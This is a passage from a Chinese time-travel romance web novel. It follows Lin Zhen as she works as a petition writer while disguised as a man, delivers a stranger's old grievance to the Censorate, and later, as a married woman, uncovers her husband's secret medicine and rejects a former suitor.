她已做好日程规划,每日摆摊半天就当文书写作练习,御史台有任何女官考试动向亦能第一时间打听到,赚钱最次。 初夏阳光明媚柔和,令人舒适的暖风吹得林蓁微醺,即便眼前没几个路人,更不论有上门的生意,林蓁心情仍然很靓。 在翻看律书时,一道阴暗身影落在自己的书上。 林蓁抬眸,一个身强体壮的中年书生拧着眉看着自己。林蓁下意识向两边看了看,大街上没什么人,离自己最近的一个状师摊上状师不见人影。 是面前之人? 眼前人开口:“你离我远点!” 林蓁明白了,淡定问道:“兄台认为哪里合适,为小弟指条明路?” 中年书生转头扫了眼周围,指着远远的一座建筑道:“那个酒肆那里”。 林蓁看了一眼,她当然没有想挪动的意思,而且酒肆门口摆摊,那是真正拦了酒肆生意。 “兄台,我挪到那里,状书只收五十文,你有没有意见?或者我收一百文状书钱,免费陪同上堂,免费教导回官老爷问话,一案包到底,你有没有意见?” 中年书生脸色阴沉得要滴出水。 “这世上从来八仙过海各凭本事,今日兄台让小弟我滚开,明日让小弟我拑口禁语,没有这个道理”。 “这地方我呆了十年,我就是道理!” “今日你不滚,看你有好果子吃!” 中年书生伸手就抓林蓁手上的书,林蓁眼疾手快一个后退跳起,竹凳啪一声翻倒在地,但幸运避开了书生的魔爪。 中年书生的手随即抓住挂着布幌的竹竿,就见他拳头紧握,手背上青筋冒起,竹竿下一秒就要折断! 林蓁退后了几步,没想到书生一句都不和她辩驳,上来就是干,打架她不行啊! 眼瞅着竹竿要断,林蓁下意识闭上眼睛。 下一秒,“啊”,一声惨叫差点震碎了林蓁耳膜,她猛地睁眼。 书生握着自己的手掌,疼得蹲在地上。 一位年轻公子站在书生身侧,他身量不高梳着马尾,身着紧身扎金剑袖,腰中似缠着一条细长马鞭。 年轻公子若漫不经心,一脚踹在书生后背,书生身形抖动几欲倒地。 “这皇城我呆了一年,我就是道理!” “今日你不滚,看你有好果子吃!” 书生大气不敢出,连滚带爬跑向他的状师摊,手忙脚乱收拾。 “别让我在这条街上看到你!” 年轻公子抽出腰间马鞭,似乎轻轻一甩,那书生的状师摊就似纸糊般散了架。 林蓁攥着书,看呆了。 好帅啊! 21. 第 21 章 散落一地的状师摊那书生也不要了,捡了几件重要物什揣在怀中,边跑边回头看。 林蓁走近年轻公子,躬身行了个大礼:“多谢公子,不知公子高姓大名,在下以后好好报答”。 她也想现在报答,只是现下什么都没有,报答无从谈起。 那公子收回盯看书生的目光,视线在林蓁身上仔细打量了一番,挑眉一笑。 眼波流转间仿佛递给林蓁一杯美酒,眼神花俏得石头都能融化。 若不是林蓁心里有飞飞,她定要醉在这眼神中。 “何必以后,不如以身相许?”声音温柔似水,宛若真要求娶林蓁。 林蓁一时愕然,眼前蛊惑人心的一张笑脸,眉目含情,动人心弦。 到底看出自己是女子,还是对方是女子。 见林蓁僵在原地,公子直接上手,手掌轻拍了拍林蓁的脸,像微风吹过树梢,如细雨打在柳枝,只轻轻一下。 林蓁惊得皮肤都缩紧了一瞬,手掌摸着他刚抚过的地方,瞪大眼睛看着他。 公子收回手,笑道:“好了,不逗你了,你打扮成这样,不是写在脸上,都来欺负我吗?” 林蓁看看自己,身着一件普通天青色长袍,是弟弟林承俭特意选给她的旧衣,她觉得很合适,哪里不对呢。 “算了,一时半会你也改不了,就是提醒你,你这个样子很容易吸引坏人”。 她大概不知道,即便男装加身,她眉眼间妩色和艳光,依然在她不经意动作间流溢,让他这样的老江湖一眼就辨出雌雄。 林蓁合手再次作揖:“请公子指点”。 “咳咳”,公子推却道,“你别在我面前这个样子,你一看就是个女子”。 林蓁傻眼,站在公子身边有些手足无措。 她在肖记包子铺时,肖寡妇和她丫头从来没说过什么呀,肖寡妇最初以为她是少年还拒绝收留她呢。 “不是形似,重在神似”。 公子道:“既然要报答,来,现成的,把我这份状书送到御史台,成了给你三十两”。 公子手中不知何时多了一份纸袋,将它递给林蓁。 御史台主行监察之职,许多冤假错案的苦主会到此地递交状书伸冤,有点像另一个时空最高法院的再审。 昨日林蓁问询考女官事务时,看到过有苦主拿着状书在御史台里登记。 林蓁赶忙双手接过纸袋,嘴里拒绝道:“不用的,不用的,举手之劳”。 心想这公子应该是个阔佬,对银钱完全没有概念,送份文书就三十两,若这条街上所有状师知道,大家必争着抢着送,能把他整到讨饭。 说话间,林蓁从纸袋里抽出状书,简单翻看了几眼,顿时似咽下了冰疙瘩,萎了。 这状书里的事件距离现在已经十七年了,十七年,还能翻案吗,恁是铁证放十七年也锈得看不出原样了吧。 她不该口出大言“举手之劳”,这哪是举手之劳能解决的呢。 林蓁暗自叹气,在这个时空她还是没经验,若在最高法院门口有人让她递状书,她毫无疑问会想到必是重大疑难案件,怎么在御史台前就完全没这个意识呢。 可已经答应了公子,对方还刚刚帮了自己,那硬着头皮也得跑这一趟。 林蓁看着状书上的时间,向公子确认道:“这真是十七年吗?” “嗯”,公子神色平静地应道,“有问题吗?” “没有,没有”,林蓁忙回道,“公子就在此处等我,我去去就回”。 走了两步,林蓁回头问道:“请问公子高姓大名?” “明晖”。 “嗯嗯,知道了,明公子”。 林蓁走得愁苦。 若在另一个时空,这个状书根本无法递进法院,更不论呈现在法官眼前,原因就是时间太长,过了诉讼时效。 不过在大周,古老的律法自然比不上另外一个时空的完备,据林蓁所知,大周律法并无诉讼时效规定,十七年虽久远,许多事情无法考证,但律法无明确说法,或许努力争取一番,让它呈现到御史大夫面前也有可能,毕竟这里是人治社会,至于御史大夫是否翻案,那自然不是林蓁能左右。 当然还有另外一种可能,自己被骂得狗血淋头,被指摘状师水平不名一文。好歹自己摆摊做生意,水平再怎么挫亦不能暴露在客户面前,林蓁怀着如此心思婉拒明晖陪同。 明晖压根没想过同去。 这个状书表面看是一个官员的冤假错案,实质和十七年前前太子被废有关。当年前太子以巫蛊之罪被废,牵扯的太子党成千上万,掉脑袋的就有千人之多,贬谪流放的不计其数。 明晖知道翻案可能性微乎其微,即便有也得换了天子以后。现在不过是试探,有无可能哪个官员会是突破口,大理寺刑部御史台,他隔三差五挨个送状书,案件本身敏感他又去得频繁,明晖从来都是找个状师代他去送状书。 状师们尚无一人成功送出过状书。 今日他亦在僻静处暗自观察,挑选送状书的状师,见林蓁一个女子亦来凑这份热闹,他一时兴起,为林蓁摆平了麻烦,至于手中状书,就让她送一送好了。 并没有什么指望。这个女状师天真得愚蠢,对这份状书的背后一无所知。 明晖目送林蓁走进御史台侧门。 林蓁昨日来过一次,对御史台内各个部门位置已经比较熟悉,她跟在各种苦主身后排队,等候负责登记的小吏接待。 不出所料,小吏一看到状书上事件发生时间就摇头,根本不翻阅后面内容,直接把状书退了回来。 “你这个时间太长,我们没办过”。 林蓁已有心理准备,坐着纹丝不动,问道:“那大人,现有律法没有规定十七年不行呀!” 小吏惊讶面前人还懂律法,耐心解释道:“虽然没有规定,但一直以来我们就是这样操作的,你还是请回吧”。 “要不问问大人的上峰?” 小吏有些不耐:“后面还有许多人,这位公子可以去刑部或者大理寺问问,我们这里确实不行”。 “这事儿就归御史台管,大人怎么能推诿呢!” “十七年不行”。 “哪条律法说不行了?” …… 林蓁不走,小吏无法,叫了衙役就要推她出去。 林蓁直囔囔。 闹哄哄中,一辆马车从御史台大门驶进路过此处,车中人因声音吵闹瞟了一眼窗外,林蓁执拗不屈的模样映入他的眼帘。 马车速度并未减缓,不过须臾时间林蓁即出了车中人视线,但他眼光毒辣,看出林蓁是个女子。 林蓁和小吏争执了半个时辰之久,小吏说不过她,叫人把她推出去她又跑回来,回来后林蓁语气更加气愤,言语变本加厉,还鼓动正在排队的苦主评理。 “律法并未规定,为何不予登记,如此应付差事御史大人知道吗,对得起御史台的监察之职吗?” 和林蓁对峙,小吏头疼。 正在此时,小吏被人叫走,林蓁骤然失了对手,目光随着小吏行走轨迹移动。 小吏匆匆跑到一辆马车前,和车中人点头哈腰说了些什么。 林蓁心下犹豫,小吏都跑了,就这样偃旗息鼓,还是等着小吏回来继续和他战斗。 她已经讲得嘴唇冒火,也知百无一用是书生,讲得再有道理面对小吏不作为亦是无用,何况十七年前的事件的确时间久远。 她努力过了,对得起明公子。 小吏向林蓁小跑过来。 “拿上你的状书,去见大人”。 柳暗花明又一村? 林蓁懵懂中跟着小吏走到马车前,小吏把她手中状书递给车中人。 隔着马车,林蓁什么都看不到,但能听见纸张翻动的细微之声。 马车里应该是个大人物,林蓁猜想,或许有戏。 “此事发生在十七年前的潭州?”车内一个男声响起,声色肃然冷厉,让人心尖不由发颤。 这里除了林蓁都是御史台官员和小吏,显然,男人问的是自己。 虽然车内人看不见,林蓁仍不由躬身垂首,答道:“回大人,是,在十七年前潭州”。 “你姓甚名谁,年纪几何,祖籍何处,和苦主什么关系?” “回大人,小人甄安,年十七,祖籍潭州——” “你也是潭州人?”车内人打断林蓁的话。 身份是林蓁跑出英国公府随口编的,祖籍也是顺口说的,母亲的祖籍。 此刻林蓁察觉似乎有些怪异,但说出的话泼出的水,她小心翼翼地回:“是”。 车中人追问:“你出生在潭州?和苦主什么关系?” “小人出生在潭州,和苦主没关系”。 车中人静默了片刻,反问:“没关系?那为何你送此状书?” “小人略通文墨,为我朋友如此”。 刚刚认识,只知姓名,不知算不算朋友。 车中人又问了明晖的信息,可林蓁除了姓名一无所知。 车中人并未追问,似乎思考须臾,道:“状书放我这儿,半月后此时,带着明晖,来御史台找我”。 林蓁问道:“敢问大人是?” “诸大人”。 “是,多谢诸大人,劳烦大人!” 马车在林蓁目光中驶出御史台。 林蓁大大松了口气,状书在御史台里被送出去了,尽管小吏那儿仍未登记,现在也没法儿登记,但林蓁就觉已经成功完成了明晖托付的这趟差事。虽然不知诸大人是不是御史大夫,但看小吏毕恭毕敬模样,肯定是能说上话的人。 林蓁走出御史台侧门,迎面差点撞上明晖。 明晖:“这么久,我以为你被抓起来了”。 “为何?我遵纪守法,递份状书为何被抓?”林蓁不解。 明晖没回应,前太子党余孽任何时候抓起来都为时未晚,林蓁被盘问这么久,属实侥幸。 “状书还我”,明晖伸手。 “递进去了啊,怎么给你”。 “递进去了?!”明晖脚步一顿双目放光,看着林蓁不可置信,“给谁了?” “诸大人”,林蓁回道,“他让我们半个月后再来,你也要来”。 明晖看着林蓁的脸,心中尽是不可思议,明明菜就写在脸上,她是如何做到的。 过去许多状师,比眼前人年纪大业余精,更有长袖善舞者,无一不折戟而归。 她的神色如此平静,说话语调和吃饭一样平常,应该压根不知道她做了一件怎样的事。 如此天真,如此蠢笨。 但也幸运?在明晖看来,林蓁蠢得都让他有几分怜惜了。 有些后悔牵扯这样一个蠢笨之人到这件事情中来。 以为她进去转一圈就会出来,可她呆了那么久,明晖当真以为她被认定为嫌犯,在衙门里被抓了起来。 木已成舟,明晖思索,他会尽可能护此蠢人的安全。 两人走回林蓁的状师摊,这会儿时辰不早了,林蓁开始收摊。 明晖掏出银两放在她的小几上。 林蓁像触到电似的,赶忙闪开:“不用不用,明公子帮了我,我投桃报李,何况也没费什么功夫”。 明晖想了想,放了一锭银。 “我一言九鼎,你先收下这个,半月后我再付剩下的,半月再会”。 明晖说完转身便走,林蓁看着他远去,拿起那锭银摸了又摸,看了又看。 虽然她是英国公府姑娘,长这么大还没见过这么大锭银呢。 还是自己挣的,在这个时空第一次挣钱。 心中像有只小喜鹊在闹跳,高兴溢出唇角。 回想起来做梦般,几天前她还在深宅大院里关禁闭,哪里敢想还有 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“喂!等等!”肖寡妇在后面喊着,可男人已没有踪影。 肖寡妇歉意地搓手,眼神都不敢对视林蓁:“房租要不了这些钱,这银子我后面还你”。 林蓁问:“肖姐姐,这是肖哥哥吗?” “嗯”。 “他真去买面粉了吗?” 肖寡妇似要哭出来:“他去赌钱了,不输光不回来”。 林蓁不知该如何安慰,烂赌鬼没有收手那天,在前世她办案时见过许多类似的人,她拉上肖寡妇的手诚心劝道:“肖姐姐,钱还能挣,下次你收好”。 在肖记包子铺的日子安宁顺遂,除了肖大哥偶尔出现。 林蓁每日早上看书下午出摊,时间过得很快,天气渐渐炎热,她收摊得早就去宫门处等方怀简下值。 只能远远看着,因为每次都有英国公府的人跟梢方怀简。 林蓁把自己装扮成一个而立之年成熟男人。 因明晖说过她不像男人,林蓁专门买了化妆工具,把脸色抹得暗淡一些,眉毛画得又粗又浓,唇上还贴了小胡子,胡须微微下垂巧妙遮住自己的酒窝。 为了看方怀简,她躲过好几次英国公府的人,有一次甚至迎面撞上,所幸她化妆水平提升,虽然她的心紧张得快蹦出来,但对面的人未有丝毫怀疑。 一个夏日暴雨天,林蓁没法出摊,她叫了一辆马车去宫门早早等方怀简。 暴雨如注的天气,英国公府大概猜测林蓁不会出门,竟然没人来盯梢方怀简,林蓁坐在马车里,离方怀简的马车很近。 方怀简撑着油伞走出宫门。 林蓁很想跳下马车迎上去,她很久没和他说话了,无论他说什么,听听声音都好,他的声音充满磁性和中气,和前世一样很好听。 就在林蓁想下车时,旁的马车钻出几个人,和方怀简说说笑笑一起上了方府的马车。 林蓁悻悻放下车帘,命车夫跟上。 不管怎样,多看看他亦是件开心的事。 方府马车在芙蓉醉停下,林蓁等了一会儿亦跟着上了楼。 她现在是个有胡子的三十来岁男人,林蓁坦然地站在雅间门口,看着伙计端着食物和酒饮进进出出。偶尔角度合适,她能清晰地看到方怀简。 他挺高兴,和时隽有说有笑,酒喝了一杯又一杯。 他开心什么呢,关于飞飞的一切林蓁都很想知道,她竖起耳朵听。 断断续续捕捉到“饯行”、“高升”等词汇,林蓁莫名有些心慌,抓住一个从雅间出来的伙计问道:“里面是方公子饯行宴吗?” 伙计道:“是呢”。 “给谁饯行?” “就是方公子本人呀”。 像心落在地上被人践踏,林蓁胸口一阵酸痛,她赶紧扶紧身旁栏柱。 好不容易得了自由,面对飞飞的离去,她的自由似乎都失去了意义。 林蓁很想冲进雅间,问飞飞是不是躲自己。 心思百转回肠,她有这个胆量,可如果那样做,飞飞应该更害怕自己了,一个身着男装粘着胡须的女子,站在飞飞面前质问他,能不能不躲她。 想想如此滑稽景象,林蓁自己都觉得可笑,可心里发胀眼中泛酸,伤心无以言表。 她默默离开芙蓉醉。 方怀简离开芙蓉醉时,已有些醉意。明日他要启程去越州主持当地乡试,会在那儿呆三个月左右,一直到秋闱结束。 这事儿最初是时隽哥哥时彦提出,方怀简觉得很好。过去几年时彦各种决断精准无误,助他一路高升,方怀简相信时彦的善意和判断,自己这次远行定会收获良多。 唯一不顺的是今日暴雨倾盆,看样子明日雨亦不会停。 马车在暴雨中缓缓前行,天上仿佛戳了个窟窿,天地间水雾茫茫。 “嘶”,马匹似受到惊扰,马车猛地停住。 方怀简靠着马车正在小憩,闭着的眼忽的睁开,问车夫道:“撞上什么了吗?” 车夫回道:“有人突然跑到街上,差点撞上”。 方怀简掀开车帘,正要探头一看究竟,就听道林蓁的声音:“世之!” 他浑身为之一颤,抬眸望去,雨雾中并无林蓁,一个男子撑着把油伞站在马匹边,身上青布绸衫已湿了大半。 目光向旁扫去,大雨哗哗,几米外视线就变得模糊,大街上空无一人,唯有眼前男人。 “世之!” 方怀简循着声音望去,视线里只有这个男人。天光暗淡,大雨滂沱,男人手中油伞拿得很低,看不清楚面貌。 男人向方怀简走了几步,一道闪电劈过,满天光亮,雷声隆隆。 方怀简醉意全无,他瞪大了眼睛,眸光中全是惊诧。 她别出心裁,“他”是林蓁! 50-60 第51章 第 51 章 林蓁,你都好吗? 怀中人如此亲昵, 赤。裸相对,如初生婴儿般坦诚彼此,身心毫不设防,肩上有些疼痛, 时彦心里却很畅快, 原来拥着这样一个人可以无匹暖意, 至极踏实, 灭顶快意。 他原是很独的一个人。 幼时念寄宿制私校,长大独自异国求学, 回国后独居,经营公司早早脱离父亲扶持独自决断,娱乐消遣亦是独自去徒步或者单独就可完成的各种冒险活动,他从未考虑过情感伴侣,似乎没有这种需求, 所求更是自主掌控生活, 不受他人烦扰和支配。 以为自己天生孤僻,就是一个喜欢独来独往的人。 事情什么时候悄无声息渐变? 或许穿来这个时空, 有了关注自己每日嘘寒问暖父母,有了钦仰自己常想相切相磋弟弟, 有了牵缠自己总撒娇卖萌妹妹,他们在这个时空里挥之不去, 自己渐渐习惯生活中随时有他们的存在, 可彼时寂静黑夜仍完完整整属于自己, 可以独自为户部琐碎忙到三更,亦可抱着本书到天明。 此时连夜晚也不再独独属于自己,连自己睡眠亦有人侵扰掠蚀。 看书时有人红袖添香,睡觉时有人把自己当床, 却是满心欢喜。欢喜下值时,眉眼如画佳人倚门含笑盼他,欢喜喝药时,微蹙眉尖的美人担心瞧他,欢喜临睡时,妩媚娇娇暖床羞赧等他,欢喜情动时,水似妙人痴迷吻他…… 不过短短一个月时间,他不仅习惯而且恋眷,不仅拥有而且开始恐慌失去,原来独只是几十年生活表象,遮掩着荒芜不牧之地的心……而瘠薄土地一旦被阳光沐浴雨水滋润,鲜绿嫩芽冒出,再也离不开春风万里。 脑海里浮现方怀简模样,那是她前世爱人形貌,方 怀简曾对她不屑一顾,现下却莫名上心重视,甚至不顾他惯常君子之仪,霸占不属于他的女子之物不放,很是蹊跷。 不过再不会有任何意外发生,林蓁已被自己里里外外身心完全占有,没有人能再改变。别说方怀简徒有皮囊,就算真货也得按死他为赝品,自己是林蓁唯一的飞飞,她相信,他就是,童叟无欺。 时彦吻着林蓁乌发,喃喃道:“你属于我,谁都不能夺走。” 眼睛已经无力睁开,林蓁聆听着时彦心跳声,伸手摸上他的脸颊,低柔声音似哄睡婴孩:“我属于你呀,没人夺走。” 方怀简出现像一个意外,但他是她的错认,既然认清时彦本原,林蓁对方怀简没有什么留恋,他本就对自己无感,现在各自回归原本生活极好。 至于他闯入云栖院,大概不甘她说话出尔反尔,林蓁并不愿多想,他是一片落入平静深潭的枯叶,初时会漾起微微涟漪,但枯叶只会在水面打着漩,沉不了潭底,最终随着水流随风而去,仅此而已。 翌日,林蓁起床艰难,浑身困乏无力,闭着眼穿衣时心中发誓,再不纵容时彦胡来。他们本约好三天一次,实际根本没怎么执行,林蓁不想怀孕,避开排卵期和例假,一个月差不多去了一半,时彦倒没拒绝,只是他特别会哄人,林蓁被甜言蜜语哄得心软就都由着他,可真到了排卵期和例假,时彦也没放过她,林蓁可算知道,他有的是力气和手段。 让云栖院小厨房熬些醒神汤备用,林蓁准备困顿时喝点儿提神。丫鬟送汤水到书房时,黄黄汤水清澈透明,面上漾着少许枸杞百合,林蓁忽然想到,两人夜不空房,时彦也该补补才是。 不想惊动毅勇侯夫妇,林蓁想着先在自己院子小厨房里给时彦熬些汤水。说干就干,林蓁来到小厨房看看都有些什么,她在英国公府一直有看医术,常向给府里家眷看病的大夫请教,知道不少食补汤水方子。 时彦每日需服汤药,云栖院小厨房灶火未灭过,林蓁到来时,负责看火的小丫鬟正收拾着药草。见林蓁进门,丫鬟忙把药草放一边,躬身向林蓁行礼:“少夫人。” 林蓁免了礼,问丫鬟小厨房里都有些什么,丫鬟拉开柜门和抽屉,一一给林蓁介绍。墙边两个大木柜,一个放置各种餐具,一个放置新鲜食材,时彦的药材占了半个木柜。 林蓁走到木柜跟前,翻看里面各种食材,常见的枸杞百合薄荷薏米芡实等都有,马上就可以煮起来。她让丫鬟拿来一个小锅,按照记忆中的汤水方子,取些食材称量。见桌案上堆着药草,林蓁问丫鬟:“这是大公子服用的药草么?” 丫鬟应是,林蓁随手翻动了几下药草,看着都很新鲜,是品质极佳的药草,只是—— 疑惑丛生,这些药草没有一种她认识。可当初大夫给时彦诊病开出方剂,林蓁在场并仔细看过药方,那些药材林蓁大多知道并且见过,此时桌上药草,林蓁一个也辨不出来。 林蓁放下手中食材,仔细把桌上药草再细细摸看一遍,又拿出木柜中药袋翻看其中,全然不认识。 丫鬟有些不安,问道:“少夫人,药草有什么问题吗?” “汤药日日都是你煎熬吗?这些药草用了多久了?哪里来的?” “回少夫人,一直是奴婢煎熬汤药,这些药草大概”,丫鬟想了想,“大概是少夫人成亲那会儿换的,以前不是这些,药草都是自家药铺送来,大公子长随长庚每周给奴婢一次。” “长庚亲手送来的?” “是。” 林蓁颔首,眼底闪过一丝微不可察不悦:“我们煮汤水罢。” 长庚做事细心,他做的事出不了错,这药草问题本源在时彦。 晚间,丫鬟惯例送上时彦汤药,时彦端起正要一饮而尽,林蓁按住他的手腕:“慢着。” “怎么?”时彦放下药碗,眼神里微微诧异。 “今晚喝我煮的汤水。”林蓁命丫鬟端来熬煮大半日养生汤。 汤底清澈,淡香幽幽,时彦尝了一口,鲜香微甜,余味不绝。时彦夸赞:“这是什么汤?好喝。你煮的?” “茯苓汤,补脾虚气血,喜欢吗?” “你做的,我都喜欢。”时彦喝得眼甜心甜,待叫丫鬟把汤药撤下去,林蓁端起药碗咕咕几口喝完。 时彦呆愣:“这是做什么?” “药材昂贵,倒了可惜”,林蓁耸耸肩,“反正养身子的,养我的也可以。” “不过一次药,浪费不了什么”,时彦拿下林蓁手中药碗,“你若想补,叫大夫来诊脉开个适合你的方剂。” 林蓁咂咂嘴,药可真苦,见时彦神色淡然,看见自己喝药亦无动于衷,心里气愤压不住,走到他面前,一把攥住他的前襟,气道:“我就要天天喝你这个,强身健体!” 她小脸红扑扑气鼓鼓,可爱至极,时彦顺势搂她在怀中,想亲她脸颊一口,却被林蓁躲开。 “你怎么了,好像生气了?” “你到底喝的什么药?你身体到底什么情况?” 心里有些发虚,林蓁察觉出什么?时彦仍然强撑,搂住她吻她的额角,林蓁被他箍住,挣脱不开。 “我身体什么情况,你夜夜体会,不知道吗?” “那你喝什么药,故意把身体整得孱弱?” “你在说什么呀?” 林蓁双手猛然夹住时彦下颚,看着他的眼眸正色道:“你喝的根本不是大夫开的方剂,你别说不知道,那我可要问药铺掌柜和你的长随。” 时彦不知林蓁如何知晓,但继续编下去林蓁真去问,全家都会知晓,时彦叹了口气,可怜兮兮央求道:“别和家里人说,好么。” “是避子汤。” 林蓁讶异得合不拢嘴,以为他故意喝体虚的药方,再想不到是这个。 “为什么?那你以前喝的什么?” 话到这个份上没法再说谎话,而且这些事情并未影响林蓁什么,她应该会原谅自己,时彦心下谋算一番,和盘说了实话。 “你一心考女官,排卵期避孕也不是很准的,我喝避子汤万无一失。” “我身体有没有问题你最清楚,但我想家人面前显得孱弱些,他们会格外体谅我,就像我们成亲,若不是父母考虑我身体,怕没这么顺利。” “蓁蓁,为我保守秘密,好么?于我们两人都有好处。” 时彦手指卷着林蓁发梢,眼眸低垂,神情似做错事小孩忐忑等待大人的惩罚。 林蓁默默无言片刻,夹住时彦下颚的手滑落,滑到他的胸口,指尖轻轻点他:“这些不用骗我的,我又不会说出去。” 抬眸幽幽看过去,揣测地问:“还有什么骗我的,我不想你骗我。我们是夫妻,不该同心互信么?我会信你会帮你,你不信我么?” “再没有了!”时彦心下松了口气,下次再有什么事需背着林蓁,得十万分小心。 “我怎会不信你?只不想你为这些琐事烦扰。” “以后什么事情都告诉你”,时彦亲吻林蓁的唇,“但你得保密,天知地知你知我知。” * 林蓁陪嫁和聘礼中有好几间铺子,当初与谢氏说给谢氏料理,银钱补贴家用,被谢氏拒绝,但林蓁和谢氏一起巡视了好几次毅勇侯府铺面田产,林蓁始终坚持这个想法,谢氏也就应下,想着等时隽娶妻时姝嫁人后,手头宽裕了再把钱还给林蓁。 林蓁实在没兴趣每天看各种账本,若不是时彦户部事情多,都想让他帮自己打理,婆母有兴趣亦擅长此事,为林蓁解了难,她知道自己几斤几两 ,若她这么一个毫无经验的人自己管理,说不得钱没挣到本还赔了出去。 虽和婆母说好,婆母继续管事儿,但林蓁亦不好完全撒手,隔几周还是和婆母一起去铺面看看。这日遇上月中铺面盘整,婆母叫上林蓁一起去看看。 两人刚到布庄,掌柜带着伙计正准备清点,铺面门口一阵马匹嘶叫声,众人往外看了一眼,竟是时隽。 时隽翻身下马,径直往铺面里走。 谢氏惊讶:“你不去当值,跑这里来做什么?” “我上峰家眷得了急病,急需大量老参,让我回来问问。母亲,咱家药铺有没有,你带我去看看。” “派个人捎个口信就是。” “不行,这药有讲究,上峰给我的注意事项我还揣着呢。” “我们现在就去药铺,病人急等!” 谢氏嘱咐了林蓁和掌柜几句,上了马车和时隽离去。林蓁心下怪异,看着马车离开后埋首继续和掌柜数布匹。 “公子好,要布料还是成衣?”店内伙计热情招呼。 身后脚步声轻缓,低沉清润男音耳畔响起。 “林蓁,你都好吗?” 林蓁猛地抬头,侧首瞥过一眼,“飞飞”一步之遥。 第52章 第 52 章 求求你,就这样罢 衣袖下手指不由自主攥紧成拳, 微微颤抖。 不是厌烦自己么,为何要到云栖院,为何不能入府后还要追到这里,为质问自己出尔反尔么。 如果地上有缝, 林蓁会钻进去, 可地上什么都没有, 身边是布庄掌柜和一众伙计们, 他们正看着自己,看着毅勇侯府少夫人。 林蓁缓缓转过身, 视线对上方怀简,眼眸中平淡无波,客气而疏离道:“原来是方公子,方公子需要些什么,是布料还是成衣, 男用还是女用?” 方公子, 方怀简心里体味着这个称呼,目光扫了一遍周围睽睽视线, 落在林蓁面庞上,她面容和自己离开时没有什么变化, 似乎丰腴一些,细腻红润, 宛若凝脂, 可她目光暗淡, 再无曾经闪亮细碎小星星,仿佛自己是一片乌云,遮挡住她的神采。 “需要一些上好布料,给家里女眷添置新衣”, 方怀简艰难说出这几个字,眼眸一眨不眨盯在林蓁脸上。 林蓁已避开他的视线,对掌柜吩咐道:“方公子是二公子好友,不可怠慢,把最好布料拿出来给方公子选用。” 她转身要走,方怀简一个闪身挡住她的去路。 “我要什么,少夫人最清楚,让掌柜把布料拿到雅间,烦请少夫人亲自介绍。” 掌柜看着林蓁。 林蓁踟蹰片刻。 也好,两人说清楚再无瓜葛。 “按方公子说的,把布料送到隔壁雅间。” 雅间通常招待店铺贵客或者大客户,掌柜微微躬身,认真给方怀简介绍布料花样和特点,林蓁站在掌柜身边作陪,目光随着掌柜介绍在布料上流连。 方怀简早听得不耐烦,打断道:“我自己看看,你先下去,我若需要和你们少夫人说。” 掌柜目光看向林蓁。 “你先下去罢,有需要我唤你。” 掌柜走到门口,随手就要关门。 林蓁忙道:“莫关门!” 室内陷入一片寂静,林蓁似乎能听到自己心跳声。 方怀简久不开口,林蓁率先打破沉默,她眉眼低垂,看着眼前布料沉声道:“方公子,过去皆是我不对,我痴缠你损了公子清誉,现在我已嫁人,方公子大人大量,莫和我计较往事,我感激不尽。” 方怀简沉浸在自己世界里。 目光一寸寸滚过林蓁,白皙面庞散发着珠玉般柔光,红润饱满嘴唇似乎要浸出汁水,抿唇时隐隐若现梨涡,身材婀娜但不显单薄,曾经担心她会心思暗淡而消瘦憔悴,这样很好,再看她乌发如云却不再是少女发髻,心下顿时如被鼓槌猛击,一阵钝痛。 陡然听到林蓁和自己撇清言语,方怀简几乎落泪,他压下眼中朦胧,声音中带着哽咽:“林蓁,你别这样说,你为我受了太多委屈,过去我不能正视我的本心,现在我想明白了,我不会再让你受委屈。” 林蓁有些懵。 方怀简刚说完,忙改口:“不是现在想明白,那个雨夜你送我平安玉后我就很明白,我喜欢你,我让时隽去包子铺找你,给你捎口信等我三个月,我回来就娶你。” “可是”,方怀简带着哭腔,他顿了顿缓和些许情绪,缓缓道:“他没有送到,我后来托人给你送信也人去楼空。” “这都只怨我自己”,方怀简长叹一声,“若你找到真心爱人也就罢了,分明你不喜欢时彦,我不知你俩为何突然成亲,既然我回来了,我的心意未变,我不想你和他蹉跎一生,我还想娶你,这一次我为你遮风挡雨,可好?” 林蓁愕然,面上死死盯住眼前布料,羽睫忍不住颤动。 曾以为方怀简铁石心肠,无数次心碎,又满面泪痕重新扒拉着破碎把心拼凑起来,鼓起勇气继续。 心疼那时自己。 所幸未铸成大错,冥冥中天注定,找到了真正的飞飞。 “方公子,你误会了,婚姻大事岂能儿戏,我和我夫君彼此真心,我愿与他相携一生。方公子好意我心领,出了这个门,我就当方公子今日未曾来过。世间百花万千,皇城里爱慕方公子的贵女何其多,方公子忘了我罢。” “你被我伤透心所以说这些话,对不对?” 回皇城后方怀简专门去过肖记包子铺,听时隽提起过林蓁女扮男装在御史台前摆状师摊维持生计,她能忍受那样逼仄环境,坚定无畏奔往毫无退路的道路,若不是因为心中有情,还能因为什么呢。 这份情深情真,所以亦伤她极深极重。 在来之前,方怀简就想好,无论林蓁说什么,这次他都不会退缩。若他都不坚定,林蓁看不到他的真心他的勇气,她怎敢重新走出来呢。 “林蓁,时彦他身体有恙你很清楚,你不要害怕,我会把一切安排妥当,你只要和时彦和离,其他我来承担。” “住口!” “我当你是君子,怎能胡乱揣测他人夫妻私事!你说话越来越荒谬,你的父母是我和我夫君证婚人,你怎能说出和离的话!” “你走罢,我不想听这些污言秽语。” 以为唾手可得的东西突然属于别人,心有不甘罢了。 林蓁转身不想看方怀简,背身对着他。 方怀简不甘道:“从始至终,你都不敢正眼看我,你喜欢我,所以没法儿直视我,是不是?” “你敢看我吗?你看着我!” 其实是有点儿不敢看。 倒不是林蓁对方怀简有情,实是他实在和飞飞前世没什么两样,看着他就似看着前世飞飞,很熟悉又很陌生,这种感觉极其怪异。 不想看着“飞飞”,想着另外一个飞飞。 此刻,林蓁缓缓转身,对上方怀简灼烫希冀目光,淡声道:“没有什么不敢看,方公子,希望你明白,我不看你不是我喜欢你,那是因为我已有夫君,我不该也无兴趣看任何外男。” 她目光平和,宛若静水深潭,再无曾经看自己时那种兴奋渴盼甜蜜,眼里没有丁点闪亮和光火,似暗夜的黑深邃幽暗,方怀简一时身形虚空撑不住,一把按住身边布匹才稳住腿脚。 哀莫大于心死,迟到了,所以他永远被判了死刑,用她一生的代价? 不甘啊,他不甘! “那些爱慕我的话都是假的?搂我吻我扑通我让我抱抱你,都是骗我的?” “那不是骗我,对不对?那是你的真心实意?是不是?” “林蓁,你回答我,那时那刻你都是真心!” 方怀简神情激动,林蓁看着他没有言语。 他说话的神态、语气都和前世飞飞很像,若不是遇到时彦,或许自己还会死缠他。 